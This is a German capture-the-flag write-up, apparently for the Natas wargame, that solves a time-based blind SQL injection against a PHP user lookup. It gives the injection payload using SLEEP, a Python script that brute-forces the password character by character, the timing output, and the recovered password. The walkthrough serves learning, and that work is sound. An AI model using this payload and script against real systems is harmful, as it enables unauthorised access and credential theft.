Aktualisiert am: 2023-12-06
Blind SQL Injection
Enumeration
-
Im Quellcode finden wir einen Kommentar, der uns auf die Beschaffenheit der Tabelle
users
hinweistCREATE TABLE `users` ( `username` varchar(64) DEFAULT NULL, `password` varchar(64) DEFAULT NULL );
-
Der Parameter
username
wird unsicher in$query
eingefügt$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
-
Unabhängig vom Ergebnis der Ausführung von
$query
erhalten wir immer die gleiche Antwort$res = mysql_query($query, $link); if($res) { if(mysql_num_rows($res) > 0) { //echo "This user exists.<br>"; } else { //echo "This user doesn't exist.<br>"; } } else { //echo "Error in query.<br>"; }
Exploitation
- Auch wenn wir die Antwort an sich nicht beeinflussen können, so wird bei erfolgreicher SQL Injection tatsächlich unser Code ausgeführt. Das erlaubt uns eine Time-based Blind SQL Injection.
-
Konkret können wir
username
vorzeitig mit einem Doublequote ("
) abschliessen, das Kennwort case-sensitive (LIKE BINARY
) prüfen und bei Erfolg 1 Sekunde warten; der Rest des Queries wird als Kommentar gekennzeichnetnatas18" AND password LIKE BINARY "%" AND SLEEP(1) #
So lassen sich nun basierend auf der Antwortzeit
- alle möglichen Zeichen ermitteln und
- diese dann mittels SQL Query
...%
(beginnt mit …) durchprobieren
Python Script
Einmalig müssen die im Kennwort verwendeten Zeichen ermittelt werden. Dem soweit bekannten Kennwort werden nun die ermittelten Zeichen jeweils hinten angefügt und durchprobiert
# for easier brute force, we first verify which characters are used in the password at all
print("verifying characters...")
for c in ''.join([string.ascii_letters, string.digits]):
# c does match password?
if get_first_matching_character('%', c, is_verbose=True):
verified_chars.append(c)
if is_debug: print(verified_chars)
print()
# brute force with verified characters
print("cracking password with verified characters...")
pw_current_char = ''
while (pw_current_char := get_first_matching_character(''.join(pw), verified_chars, is_verbose=True)) is not None:
if not is_debug: print(pw_current_char, end='', flush=True)
pw.append(pw_current_char)
print()
Das Script braucht fast 500 Versuche, um das Kennwort herauszufinden.
issuing wildcard request...
001 % + 1.403s
verifying characters...
002 a 0.079s
003 b 0.091s
004 c 0.082s
005 d + 1.280s
...
060 6 0.076s
061 7 + 1.378s
062 8 0.080s
063 9 0.074s
['d', 'g', 'h', 'j', 'l', 'm', 'p', 'q', 's', 'v', 'w', 'x', 'y', 'C', 'D', 'F', 'I', 'K', 'O', 'P', 'R', '0', '4', '7']
cracking password with verified characters...
064 d 0.079s
065 g 0.075s
066 h 0.079s
067 j 0.088s
068 l 0.094s
069 m 0.082s
070 p 0.082s
071 q 0.076s
072 s 0.082s
073 v 0.076s
074 w 0.082s
075 x + 1.390s
076 d 0.078s
077 g 0.076s
078 h 0.077s
079 j 0.078s
080 l 0.076s
081 m 0.082s
082 p 0.081s
083 q 0.085s
084 s 0.078s
085 v + 1.425s
...
455 d 0.073s
456 g 0.089s
457 h 0.076s
458 j 0.074s
459 l 0.079s
460 m 0.075s
461 p 0.074s
462 q 0.076s
463 s 0.074s
464 v 0.079s
465 w 0.085s
466 x 0.080s
467 y 0.073s
468 C 0.076s
469 D 0.086s
470 F 0.077s
471 I 0.077s
472 K 0.080s
473 O 0.084s
474 P 0.078s
475 R 0.086s
476 0 0.085s
477 4 0.082s
478 7 0.074s
requests: 478
password: xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP